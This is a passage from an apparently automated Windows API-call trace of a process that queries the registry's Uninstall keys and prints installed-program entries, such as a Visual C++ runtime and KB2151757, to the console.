out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.302] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.302] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.303] lstrlenW (lpString="DisplayName") returned 11 [0149.303] __iob_func () returned 0x7fefd702a80 [0149.303] _fileno (_File=0x7fefd702ab0) returned 1 [0149.303] _errno () returned 0x204bb0 [0149.303] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.303] _errno () returned 0x204bb0 [0149.303] GetFileType (hFile=0x50) returned 0x1 [0149.303] lstrlenW (lpString="DisplayName") returned 11 [0149.303] GetConsoleOutputCP () returned 0x1b5 [0149.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.303] GetConsoleOutputCP () returned 0x1b5 [0149.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0149.303] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.303] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.303] __iob_func () returned 0x7fefd702a80 [0149.303] _fileno (_File=0x7fefd702ab0) returned 1 [0149.303] _errno () returned 0x204bb0 [0149.303] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.303] _errno () returned 0x204bb0 [0149.303] GetFileType (hFile=0x50) returned 0x1 [0149.303] lstrlenW (lpString=" ") returned 4 [0149.303] GetConsoleOutputCP () returned 0x1b5 [0149.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.303] GetConsoleOutputCP () returned 0x1b5 [0149.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.304] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.304] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.304] __iob_func () returned 0x7fefd702a80 [0149.304] _fileno (_File=0x7fefd702ab0) returned 1 [0149.304] _errno () returned 0x204bb0 [0149.304] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.304] _errno () returned 0x204bb0 [0149.304] GetFileType (hFile=0x50) returned 0x1 [0149.304] lstrlenW (lpString="REG_SZ") returned 6 [0149.304] GetConsoleOutputCP () returned 0x1b5 [0149.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.304] GetConsoleOutputCP () returned 0x1b5 [0149.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.304] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.304] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.304] __iob_func () returned 0x7fefd702a80 [0149.304] _fileno (_File=0x7fefd702ab0) returned 1 [0149.304] _errno () returned 0x204bb0 [0149.304] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.304] _errno () returned 0x204bb0 [0149.304] GetFileType (hFile=0x50) returned 0x1 [0149.304] lstrlenW (lpString=" ") returned 4 [0149.304] GetConsoleOutputCP () returned 0x1b5 [0149.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.305] GetConsoleOutputCP () returned 0x1b5 [0149.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.305] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.305] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.305] __iob_func () returned 0x7fefd702a80 [0149.305] _fileno (_File=0x7fefd702ab0) returned 1 [0149.305] _errno () returned 0x204bb0 [0149.305] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.305] _errno () returned 0x204bb0 [0149.305] GetFileType (hFile=0x50) returned 0x1 [0149.305] lstrlenW (lpString="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005") returned 58 [0149.305] GetConsoleOutputCP () returned 0x1b5 [0149.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0149.305] GetConsoleOutputCP () returned 0x1b5 [0149.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", cchWideChar=58, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpUsedDefaultChar=0x0) returned 58 [0149.305] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 58 [0149.305] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.305] __iob_func () returned 0x7fefd702a80 [0149.305] _fileno (_File=0x7fefd702ab0) returned 1 [0149.305] _errno () returned 0x204bb0 [0149.305] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.305] _errno () returned 0x204bb0 [0149.305] GetFileType (hFile=0x50) returned 0x1 [0149.305] lstrlenW (lpString="\n") returned 1 [0149.305] GetConsoleOutputCP () returned 0x1b5 [0149.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.306] GetConsoleOutputCP () returned 0x1b5 [0149.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.306] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.306] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.306] GetProcessHeap () returned 0x3c0000 [0149.306] GetProcessHeap () returned 0x3c0000 [0149.306] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.306] GetProcessHeap () returned 0x3c0000 [0149.306] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7a [0149.306] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.306] __iob_func () returned 0x7fefd702a80 [0149.306] _fileno (_File=0x7fefd702ab0) returned 1 [0149.306] _errno () returned 0x204bb0 [0149.306] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.306] _errno () returned 0x204bb0 [0149.306] GetFileType (hFile=0x50) returned 0x1 [0149.306] lstrlenW (lpString="\n") returned 1 [0149.306] GetConsoleOutputCP () returned 0x1b5 [0149.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.306] GetConsoleOutputCP () returned 0x1b5 [0149.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.306] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.306] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00) returned 1 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c00) returned 0x28 [0149.307] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00 | out: hHeap=0x3c0000) returned 1 [0149.307] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.307] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 121 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1a60 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.307] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60) returned 1 [0149.307] GetProcessHeap () returned 0x3c0000 [0149.307] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1a60) returned 0xf6 [0149.307] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60 | out: hHeap=0x3c0000) returned 1 [0149.307] RegCloseKey (hKey=0x5c) returned 0x0 [0149.307] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x10, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.307] __iob_func () returned 0x7fefd702a80 [0149.307] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.307] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\n") returned 132 [0149.307] _fileno (_File=0x7fefd702ab0) returned 1 [0149.307] _errno () returned 0x204bb0 [0149.307] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.307] _errno () returned 0x204bb0 [0149.307] GetFileType (hFile=0x50) returned 0x1 [0149.307] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\n") returned 132 [0149.307] GetConsoleOutputCP () returned 0x1b5 [0149.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0149.308] GetConsoleOutputCP () returned 0x1b5 [0149.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\n", lpUsedDefaultChar=0x0) returned 132 [0149.308] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0149.308] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.308] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.308] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.308] GetProcessHeap () returned 0x3c0000 [0149.308] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.308] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.308] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0149.308] GetProcessHeap () returned 0x3c0000 [0149.308] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0149.308] GetProcessHeap () returned 0x3c0000 [0149.308] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.308] GetProcessHeap () returned 0x3c0000 [0149.308] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.308] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2151757", pcbData=0x29f780*=0x14) returned 0x0 [0149.308] __iob_func () returned 0x7fefd702a80 [0149.308] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.308] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.308] _fileno (_File=0x7fefd702ab0) returned 1 [0149.308] _errno () returned 0x204bb0 [0149.308] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.308] _errno () returned 0x204bb0 [0149.309] GetFileType (hFile=0x50) returned 0x1 [0149.309] lstrlenW (lpString=" ") returned 4 [0149.309] GetConsoleOutputCP () returned 0x1b5 [0149.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.309] GetConsoleOutputCP () returned 0x1b5 [0149.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.309] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.309] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.309] lstrlenW (lpString="") returned 0 [0149.309] GetProcessHeap () returned 0x3c0000 [0149.309] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c00 [0149.309] GetProcessHeap () returned 0x3c0000 [0149.309] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df2b0 [0149.309] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.309] GetProcessHeap () returned 0x3c0000 [0149.309] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x200) returned 0x3e1a60 [0149.309] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0149.309] lstrlenW (lpString="(Default)") returned 9 [0149.309] GetProcessHeap () returned 0x3c0000 [0149.309] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x14) returned 0x3df2d0 [0149.309] __iob_func () returned 0x7fefd702a80 [0149.309] _fileno (_File=0x7fefd702ab0) returned 1 [0149.310] _errno () returned 0x204bb0 [0149.310] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.310] _errno () returned 0x204bb0 [0149.310] GetFileType (hFile=0x50) returned 0x1 [0149.310] lstrlenW (lpString="(Default)") returned 9 [0149.310] GetConsoleOutputCP () returned 0x1b5 [0149.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.310] GetConsoleOutputCP () returned 0x1b5 [0149.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0149.310] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.310] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.310] __iob_func () returned 0x7fefd702a80 [0149.310] _fileno (_File=0x7fefd702ab0) returned 1 [0149.310] _errno () returned 0x204bb0 [0149.310] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.310] _errno () returned 0x204bb0 [0149.310] GetFileType (hFile=0x50) returned 0x1 [0149.310] lstrlenW (lpString=" ") returned 4 [0149.310] GetConsoleOutputCP () returned 0x1b5 [0149.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.310] GetConsoleOutputCP () returned 0x1b5 [0149.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.311] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.311] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.311] __iob_func () returned 0x7fefd702a80 [0149.311] _fileno (_File=0x7fefd702ab0) returned 1 [0149.311] _errno () returned 0x204bb0 [0149.311] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.311] _errno () returned 0x204bb0 [0149.311] GetFileType (hFile=0x50) returned 0x1 [0149.311] lstrlenW (lpString="REG_SZ") returned 6 [0149.311] GetConsoleOutputCP () returned 0x1b5 [0149.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.311] GetConsoleOutputCP () returned 0x1b5 [0149.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.311] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.311] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.311] __iob_func () returned 0x7fefd702a80 [0149.311] _fileno (_File=0x7fefd702ab0) returned 1 [0149.311] _errno () returned 0x204bb0 [0149.311] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.311] _errno () returned 0x204bb0 [0149.311] GetFileType (hFile=0x50) returned 0x1 [0149.311] lstrlenW (lpString=" ") returned 4 [0149.311] GetConsoleOutputCP () returned 0x1b5 [0149.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.312] GetConsoleOutputCP () returned 0x1b5 [0149.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.312] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.312] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.312] __iob_func () returned 0x7fefd702a80 [0149.312] _fileno (_File=0x7fefd702ab0) returned 1 [0149.312] _errno () returned 0x204bb0 [0149.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.312] _errno () returned 0x204bb0 [0149.312] GetFileType (hFile=0x50) returned 0x1 [0149.312] lstrlenW (lpString="KB2151757") returned 9 [0149.312] GetConsoleOutputCP () returned 0x1b5 [0149.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2151757", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.312] GetConsoleOutputCP () returned 0x1b5 [0149.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2151757", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2151757", lpUsedDefaultChar=0x0) returned 9 [0149.312] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.312] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.312] __iob_func () returned 0x7fefd702a80 [0149.312] _fileno (_File=0x7fefd702ab0) returned 1 [0149.312] _errno () returned 0x204bb0 [0149.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.312] _errno () returned 0x204bb0 [0149.312] GetFileType (hFile=0x50) returned 0x1 [0149.312] lstrlenW (lpString="\n") returned 1 [0149.312] GetConsoleOutputCP () returned 0x1b5 [0149.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.313] GetConsoleOutputCP () returned 0x1b5 [0149.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.313] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.313] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.313] GetProcessHeap () returned 0x3c0000 [0149.313] GetProcessHeap () returned 0x3c0000 [0149.313] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.313] GetProcessHeap () returned 0x3c0000 [0149.313] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.313] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.313] __iob_func () returned 0x7fefd702a80 [0149.313] _fileno (_File=0x7fefd702ab0) returned 1 [0149.313] _errno () returned 0x204bb0 [0149.313] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.313] _errno () returned 0x204bb0 [0149.313] GetFileType (hFile=0x50) returned 0x1 [0149.313] lstrlenW (lpString="\n") returned 1 [0149.313] GetConsoleOutputCP () returned 0x1b5 [0149.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.313] 